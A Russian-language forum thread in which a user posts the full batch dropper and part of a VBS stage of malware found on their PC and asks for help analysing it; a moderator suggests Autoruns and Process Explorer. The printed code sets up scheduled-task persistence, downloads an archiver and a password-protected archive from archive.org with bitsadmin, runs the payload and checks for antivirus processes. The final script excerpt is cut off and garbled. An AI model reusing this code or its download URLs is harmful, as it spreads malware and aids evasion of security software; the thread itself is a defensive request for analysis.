Author Topic: Хитрый вирус детектед (не в кликере)  (Read 2206 times)

0 Members and 1 Guest are viewing this topic.

CMan_ProUser

  • Зашел в гости
  • *
  • Posts: 7
  • Постичь всю глубину кода, дано не каждому
    • View Profile
Доброго дня, уважаемые участники!

Мастеров скриптов командной строки и VBS прошу помочь с анализом.

Признаки вируса: вчера файрволл обнаружил попытки закачки файла https://archive.org/download/luger/2. Несколько раз появлялось черное окно CMD при простое компа и окно файеволла с блокированием коннекта. Путь на закачку был одним из параметров в командной строке при просмотре SystemExplorer'ом. Жаль не пометил больших подробностей.

Скачал этот файл для исследования,

Code: [Select]
@echo off
schtasks /create /RU "%username%" /sc MONTHLY /tn PortableClassInitialization /rl LIMITED /f /tr "logged"
If Exist "%systemdrive%\SecfLogs\logs11\flog.vbs" (exit /b)
schtasks /create /RU "%username%" /sc onidle /i 1 /tn QRLogsFullCheckPeriodic /rl LIMITED /f /tr "cmd /c if not exist %systemdrive%\SecfLogs\logs11\f.vbs (schtasks/run /i /tn Cmd00) else (exit/b)>nul"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd00 /rl LIMITED /f /tr "cmd /c timeout/t 59 /NOBREAK>nul&&rd/q/s %systemdrive%\SecfLogs&md %systemdrive%\SecfLogs&cd/d %systemdrive%\SecfLogs&md logs01 logs02 logs03 logs04 logs05 logs06 logs07 logs08 logs09 logs10 logs11 logs12 logs13 logs14 logs15 logs16 logs17&schtasks/run /i /tn Cmd01"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd01 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo DIM sysdrive,fso,WshShell,objShell,fil>f.vbs&echo Set fso=CreateObject('Scripting.FileSystemObject')>>f.vbs&echo Set objShell=CreateObject('Wscript.Shell')>>f.vbs&schtasks/run /i /tn Cmd02"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd02 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set WshShell=WScript.CreateObject ('WScript.Shell')>>f.vbs&echo Set objFSO=CreateObject('Scripting.FileSystemObject')>>f.vbs&echo sysdrive=WshShell.ExpandEnvironmentStrings('%SYSTEMDRIVE%')>>f.vbs&schtasks/run /i /tn Cmd03"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd03 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\3', 0, true>>f.vbs&echo If not (fso.FolderExists(sysdrive + '\SecfLogs\logs18\1')) Then>>f.vbs&schtasks/run /i /tn Cmd04"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd04 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FolderExists(sysdrive + '\SecfLogs\logs18\2')) Then objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\1', 0, true:wscript.quit>>f.vbs&schtasks/run /i /tn Cmd05"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd05 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FolderExists(sysdrive + '\SecfLogs\logs18\3')) Then objShell.Run 'cmd /c mkdir %systemdrive%\SecfLogs\logs18\2', 0, true:wscript.quit>>f.vbs&echo else>>f.vbs&schtasks/run /i /tn Cmd06"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd06 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\&rd/q/s %systemdrive%\SecfLogs\logs18', 0, true>>f.vbs&schtasks/run /i /tn Cmd07"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd07 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If (fso.FileExists(sysdrive + '\SecfLogs\logs07\7za.exe')) Then>>f.vbs&echo Set fil = fso.GetFile (sysdrive + '\SecfLogs\logs07\7za.exe')>>f.vbs&schtasks/run /i /tn Cmd08"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd08 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If fil.Size ^< 692224 Then call z7()>>f.vbs&echo else call z7()>>f.vbs&echo end if>>f.vbs&echo sub z7()>>f.vbs&schtasks/run /i /tn Cmd09"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd09 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c rd/q/s %systemdrive%\SecfLogs\logs07&md %systemdrive%\SecfLogs\logs07', 0, true>>f.vbs&schtasks/run /i /tn Cmd10"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd10 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p''=objShell.Run 'cmd /c bit'<nul>>f.vbs&set/p'=sadmin /transfer z7 /priority foreground '<nul>>f.vbs&schtasks/run /i /tn Cmd11"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd11 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p'=https://archive.'<nul>>f.vbs&set/p''=org/download/retol/7za.exe %systemdrive%\SecfLogs\logs07\7za.exe', 0, true'<nul>>f.vbs&schtasks/run /i /tn Cmd12"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd12 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo:>>f.vbs&echo Wscript.Sleep 15000>>f.vbs&echo If not (fso.FileExists(sysdrive + '\SecfLogs\logs07\7za.exe')) Then call ned()>>f.vbs&schtasks/run /i /tn Cmd13"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd13 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set fil = fso.GetFile (sysdrive + '\SecfLogs\logs07\7za.exe')>>f.vbs&echo If fil.Size ^< 692224 Then call ned()>>f.vbs&schtasks/run /i /tn Cmd14"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd14 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo end sub>>f.vbs&echo objShell.Run 'cmd /c rd/q/s %systemdrive%\Sload&md %systemdrive%\Sload', 0, true>>f.vbs&schtasks/run /i /tn Cmd15"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd15 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p''=objShell.Run 'cmd /c bit'<nul>>f.vbs&set/p'=sadmin /transfer tr /priority foreground '<nul>>f.vbs&schtasks/run /i /tn Cmd16"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd16 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&set/p'=https://archive.'<nul>>f.vbs&set/p''=org/download/retol/tra.zip %systemdrive%\Sload\tra.zip', 0, true'<nul>>f.vbs&schtasks/run /i /tn Cmd17"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd17 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo:>>f.vbs&echo Wscript.Sleep 9000>>f.vbs&echo If not (fso.FileExists(sysdrive + '\Sload\tra.zip')) Then call ned()>>f.vbs&schtasks/run /i /tn Cmd18"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd18 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo Set fil = fso.GetFile (sysdrive + '\Sload\tra.zip')>>f.vbs&echo If fil.Size ^< 1000 Then call ned()>>f.vbs&schtasks/run /i /tn Cmd19"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd19 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c copy /y %systemdrive%\SecfLogs\logs07\7za.exe %systemdrive%\Sload', 0, true>>f.vbs&echo Wscript.Sleep 5000>>f.vbs&schtasks/run /i /tn Cmd20"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd20 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\tra.zip -y', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd21"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd21 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\trs.zip.001 -y', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd22"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd22 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo objShell.Run 'cmd /c cd/d %systemdrive%\Sload&%systemdrive%\Sload\7za.exe x %systemdrive%\Sload\tr.zip -pHn3vd -y', 0, true>>f.vbs&echo Wscript.Sleep 15000>>f.vbs&schtasks/run /i /tn Cmd23"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd23 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If not (fso.FileExists(sysdrive + '\Sload\tr.vbs')) Then call ned()>>f.vbs&echo Set fil = fso.GetFile (sysdrive + '\Sload\tr.vbs')>>f.vbs&schtasks/run /i /tn Cmd24"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd24 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo If fil.Size ^< 5000 Then call ned()>>f.vbs&echo objShell.Run 'cscript %systemdrive%\Sload\tr.vbs //B', 0, true>>f.vbs&echo Wscript.Sleep 3000>>f.vbs&schtasks/run /i /tn Cmd25"
schtasks /create /RU "%username%" /sc MONTHLY /sd 01/01/2049 /M dec /MO lastday /tn Cmd25 /rl LIMITED /f /tr "cmd /c cd/d %systemdrive%\SecfLogs\logs11&&echo call ned()>>f.vbs&echo sub ned()>>f.vbs&echo objShell.Run 'cmd /c cd/d %systemdrive%\&rd/q/s %systemdrive%\Sload', 0, true>>f.vbs&echo wscript.quit>>f.vbs&echo end sub>>f.vbs&echo end if>>f.vbs"
schtasks /create /RU "%username%" /sc DAILY /tn FirstTimeUntilClear /rl LIMITED /f /tr "wscript %systemdrive%\SecfLogs\logs11\f.vbs //B"
exit /b

обнаружил отсылку на https://archive.org/download/retol/tra.zip, где в защифрованном виде и разбитием на три части содержится tr.zip. Пароль Hn3vd. При распаковке ошибка длины, скорее всего это искуственный косяк.

Извлекается только часть скрипта tr.vbs.
Code: [Select]
DIM objShell,sysdrive,objFSO,fil,WshProcEnv,WshShell,fso
Set objShell = CreateObject("Wscript.Shell"):Set WshShell = WScript.CreateObject ("WScript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject"):Set WshProcEnv = WshShell.Environment("Process")
sysdrive = WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%")
If (fso.FolderExists(sysdrive + "\Winsevent\product\source\2151")) Then WScript.Quit
If (fso.FolderExists(sysdrive + "\Winsevent\product\source\wns1")) Then WScript.Quit
objShell.Run "cmd /c tasklist /NH /FO CSV > ""%systemdrive%\Sload\trask.txt""", 0, true
Const ForReading = 1:Const ForWriting = 2
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForReading):strText = objFile.ReadAll:objFile.Close
strDR12 = Replace(strText, "v", "1", 1, -1, 1):strDR13 = Replace(strDR12, "w", "2", 1, -1, 1)
strDR14 = Replace(strDR13, "p", "3", 1, -1, 1):strDR15 = Replace(strDR14, "e", "4", 1, -1, 1)
strDR16 = Replace(strDR15, "u", "5", 1, -1, 1):strDR17 = Replace(strDR16, "m", "6", 1, -1, 1)
strDR18 = Replace(strDR17, "q", "7", 1, -1, 1):strDR19 = Replace(strDR18, "z", "8", 1, -1, 1)
strDR20 = Replace(strDR19, "s", "9", 1, -1, 1):strDR21 = Replace(strDR20, "i", "10", 1, -1, 1)
strDR22 = Replace(strDR21, "a", "0", 1, -1, 1):strDR23 = Replace(strDR22, """", "*")
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForWriting):objFile.WriteLine strDR23:objFile.Close
Set objFile = objFSO.OpenTextFile(sysdrive + "\Sload\trask.txt", ForReading):strDRfinal = objFile.ReadAll:objFile.Close
if instr(1, strDR23, "*801cor4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*n9.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*810lly0.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*d24ng10n4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*7h20tchdog.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*01gnt.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*8t9cor4.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*o3_6on.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*c109tr0y.4x4*", 1) then WScript.Quit
if instr(1, strDR23, "*6c510cstr(1, strDR23, "*8t9cor4.4x4*", 1) then WScript.Quit

ПРОФИТ!

Прочекал локальные диски на наличие всех файлов и каталогов из вирусных файлов - отсутствуют. Все файлы в обоих каталогах archive.org апрель этого года, что говорит о свежем продукте "кахеров". Самое важное, что таких файлов в https://archive.org/download/retol/ около 10 разных модификаций. Microsoft Windows 10 Enterprise LTSB (x64) Build 14393.2848 (1607/RS1) - ставил более полугода назад (сборка от AG). "Интимные" сайты не смотрю, левых файлов из почты не запускаю. ПО на компе обновляю редко.

Прошу помощи в дальнейшем анализе. Может кому полезно будет. Спасибо! С уважением, ...

Oraven

  • Супермодератор
  • Герой форума
  • *
  • Posts: 3685
  • Котэ
    • View Profile
Re: Хитрый вирус детектед (не в кликере)
« Reply #1 on: May 05, 2019, 07:34:27 PM »
Для контроля компа полезно иметь в арсенале две программки.

Autoruns
https://filehippo.com/download_autoruns/

Process explorer
https://filehippo.com/download_process_explorer

Программки портативны но запускать надо с админ правами.